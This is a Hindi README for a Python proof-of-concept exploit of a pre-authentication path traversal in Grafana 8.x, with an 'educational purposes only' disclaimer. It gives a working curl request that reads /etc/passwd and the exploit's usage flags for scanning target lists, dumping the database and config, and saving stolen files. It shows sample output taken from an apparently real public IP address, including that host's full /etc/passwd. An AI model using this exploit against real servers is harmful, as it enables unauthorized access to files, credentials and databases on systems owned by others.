
पायथन एक्सप्लॉइट कोड
Grafana 8.x पथ ट्रैवर्सल (पूर्व-प्रमाणीकरण) सभी श्रेय j0v और उनके ट्वीट को जाता है https://twitter.com/j0v0x0/status/1466845212626542607
यह केवल शैक्षिक उद्देश्यों के लिए है। मैं आपके कार्यों के लिए जिम्मेदार नहीं हूँ। अपने विवेक से उपयोग करें। सद्भावना से, मैंने इस PoC को तब तक जारी करने से रोका है जब तक यह भेद्यता सार्वजनिक नहीं हो जाती या पैच उपलब्ध नहीं हो जाता।
मैंने j0v का एक ट्वीट देखा जिसमें दावा किया गया था कि उन्होंने Grafana में पथ ट्रैवर्सल बग पाया है। जिज्ञासावश, मैंने Grafana स्रोत कोड देखना शुरू किया। ट्वीट में उल्लेख किया गया था कि यह एक पूर्व-प्रमाणीकरण बग है। Grafana में केवल कुछ सार्वजनिक API एंडपॉइंट हैं, और उनमें से केवल एक ही उपयोगकर्ता से फ़ाइल पथ लेता है।
Grafana में एक सार्वजनिक API एंडपॉइंट है, /public/plugins/:pluginId, जो आपको प्लगइन की संपत्तियों को देखने की अनुमति देता है। यह एक मान्य :pluginId प्रदान करके और फिर फ़ाइल पथ निर्दिष्ट करके काम करता है, जैसे कि । हालांकि, Grafana उपयोगकर्ता द्वारा प्रदान किए गए फ़ाइल पथ को सैनिटाइज़ करने में विफल रहता है, जिससे पथ ट्रैवर्सल होता है।
जिस निर्देशिका तक पहुँचा जा रहा है वह पर है। एक मानक Grafana स्थापना में, Grafana डेटा निर्देशिका है। इसलिए 8 निर्देशिकाएँ पीछे जाकर, आप फ़ाइलसिस्टम रूट निर्देशिका तक पहुँच सकते हैं।
HTTP अनुरोध:
img/logo.png<grafana>/public/app/plugins/panel/<pluginId>/usr/share/grafanaGET - http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
अपराधी कोड: https://github.com/grafana/grafana/blob/c80e7764d84d531fa56dca14d5b96cf0e7099c47/pkg/api/plugins.go#L284
नोट: यह ब्राउज़र में काम नहीं करता (जो स्वचालित रूप से पथ में ../ को संक्षिप्त कर देता है)
इसे curl का उपयोग करके --path-as-is तर्क के साथ परीक्षण किया जा सकता है:
curl --path-as-is http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
usage: exploit2.py [-h] [-l INPUT_LIST] [-db] [-cfg] [-c] [-t TARGET] [-f TARGET_FILE] [-w WRITE_FILE] [-v]
optional arguments:
-h, --help show this help message and exit
-l INPUT_LIST, --list INPUT_LIST
Input list of ip:port
-db, --database Dump db
-cfg, --config Dump config
-c, --check Enable output regex checking (Suppress false positives)
-t TARGET, --target TARGET
Single target
-f TARGET_FILE, --file TARGET_FILE
Remote target file
-w WRITE_FILE, --write WRITE_FILE
Directory to write files to.
-v, --verbosity Verbosity
./exploit.py -f /etc/passwd -l targets.list
./exploit.py -f /etc/passwd -l targets.list -db
कॉन्फ़िग डंप करें:
./exploit.py -f /etc/passwd -l targets.list -cfg
केवल वैध फ़ाइलें प्रिंट करें:
python3 exploit2.py -t http://50.17.123.83:3000 -c
URL: passwd
PATH: /public/plugins/alertlist/../../../../../../../..//etc/passwd
http://50.17.123.83:3000/public/plugins/alertlist/../../../../../../../..//etc/passwd
Status: 200
Content-type:text/plain; charset=utf-8
SUCCESS: http://50.17.123.83:3000
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
ec2-instance-connect:x:112:65534::/nonexistent:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
node-exp:x:997:100::/:/usr/sbin/nologin
prometheus:x:996:997::/var/lib/prometheus:/usr/sbin/nologin
alertmanager:x:995:996::/home/alertmanager:/usr/sbin/nologin
grafana:x:113:119::/usr/share/grafana:/bin/false
am-bot:x:994:995::/opt/alertmanager_bot:/usr/sbin/nologin
blackbox-exp:x:993:994::/home/blackbox-exp:/usr/sbin/nologin
pushgateway:x:992:100::/:/usr/sbin/nologin
फ़ाइल को files निर्देशिका में लिखें:
python3 exploit2.py -t http://50.17.123.83:3000 -c -w files